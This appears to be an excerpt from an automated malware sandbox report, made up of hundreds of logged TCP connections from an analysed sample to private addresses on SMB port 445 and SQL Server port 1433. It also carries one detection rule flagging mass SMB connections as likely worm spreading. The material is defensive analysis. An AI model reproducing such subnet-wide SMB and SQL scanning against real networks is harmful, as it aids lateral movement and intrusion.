Source: global traffic	TCP traffic: 192.168.3.148:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.149:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.140:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.141:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.142:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.143:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.144:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.104:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.105:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.102:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.103:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.108:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.109:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.106:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.107:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.100:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.101:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.156:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.157:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.158:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.159:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.150:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.151:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.152:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.153:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.154:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.155:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.115:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.116:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.113:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.114:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.119:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.117:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.118:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.111:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.112:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.110:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.123:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.124:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.125:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.126:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.127:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.128:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.129:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.120:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.121:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.122:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.203:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.204:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.201:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.202:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.207:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.208:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.205:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.206:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.200:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.134:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.135:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.136:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.137:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.138:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.139:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.209:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.130:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.131:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.132:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.133:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.214:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.215:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.212:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.213:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.218:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.219:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.216:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.217:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.210:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.211:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.101:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.102:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.103:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.104:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.105:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.106:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.107:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.108:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.39:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.38:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.100:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.42:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.74:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.41:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.73:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.44:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.76:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.43:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.75:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.46:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.78:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.45:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.77:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.48:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.47:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.79:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.70:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.40:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.72:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.71:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.112:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.113:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.114:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.115:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.116:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.117:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.118:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.119:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.28:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.27:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.59:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.29:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.110:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.111:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.94:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.31:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.63:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.95:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.30:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.62:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.96:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.33:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.65:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.97:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.32:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.64:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.98:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.35:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.67:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.99:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.34:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.66:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.37:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.69:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.36:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.68:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.109:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.90:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.91:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.92:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.61:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.93:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.60:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.17:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.49:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.48:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.19:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.18:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.83:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.20:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.52:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.84:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.51:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.85:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.22:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.54:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.86:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.21:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.53:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.87:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.24:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.56:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.23:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.88:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.55:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.89:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.26:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.58:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.25:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.57:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.80:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.81:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.50:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.82:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.69:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.38:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.37:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.39:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.72:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.41:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.73:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.40:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.74:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.43:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.75:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.42:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.76:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.45:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.77:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.44:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.78:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.47:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.79:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.46:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.70:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.71:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.86:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.85:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.88:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.87:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.89:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.80:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.82:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.81:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.84:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.83:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.75:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.74:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.77:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.76:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.79:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.78:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.71:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.70:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.73:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.72:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.64:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.96:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.63:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.95:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.66:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.98:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.65:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.97:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.68:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.67:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.99:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.69:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.90:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.60:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.92:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.91:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.62:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.94:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.61:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.93:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.49:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.53:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.85:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.52:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.84:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.55:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.87:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.54:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.86:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.57:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.89:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.56:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.88:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.59:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.58:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.81:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.80:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.51:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.83:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.50:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.82:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.2:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.1:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.4:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.3:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.14:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.15:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.9:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.16:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.17:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.6:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.18:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.5:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.19:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.8:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.7:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.20:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.21:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.22:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.23:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.24:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.10:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.11:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.12:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.13:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.1:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.3:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.2:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.9:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.8:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.5:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.4:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.7:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.6:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.170:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.172:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.171:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.58:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.27:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.59:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.26:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.29:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.28:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.61:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.30:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.62:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.63:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.32:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.64:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.31:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.65:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.34:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.66:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.33:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.67:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.36:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.68:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.35:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.178:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.177:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.179:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.174:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.173:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.176:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.60:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.175:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.161:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.160:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.47:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.16:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.48:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.15:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.49:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.18:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.17:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.19:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.50:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.51:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.52:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.21:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.53:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.20:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.54:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.23:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.55:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.22:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.56:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.25:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.57:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.24:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.167:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.166:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.169:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.168:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.163:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.162:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.165:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.164:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.192:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.191:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.194:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.193:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.190:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.36:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.37:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.38:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.39:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.40:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.41:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.10:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.42:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.43:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.12:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.44:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.11:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.45:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.14:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.46:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.13:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.199:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.196:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.195:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.198:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.197:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.181:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.180:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.183:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.182:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.25:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.26:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.27:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.28:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.29:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.30:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.31:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.32:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.33:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.34:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.35:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.189:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.188:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.185:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.184:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.187:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.186:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.176:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.177:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.178:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.179:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.172:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.173:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.174:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.175:1433	Jump to behavior

Connects to many different private IPs via SMB (likely to spread or exploit)

Source: global traffic	TCP traffic: 192.168.2.148:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.99:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.149:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.146:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.97:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.147:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.98:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.140:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.91:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.141:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.92:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.90:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.144:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.95:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.145:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.96:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.142:445	Jump to behavior
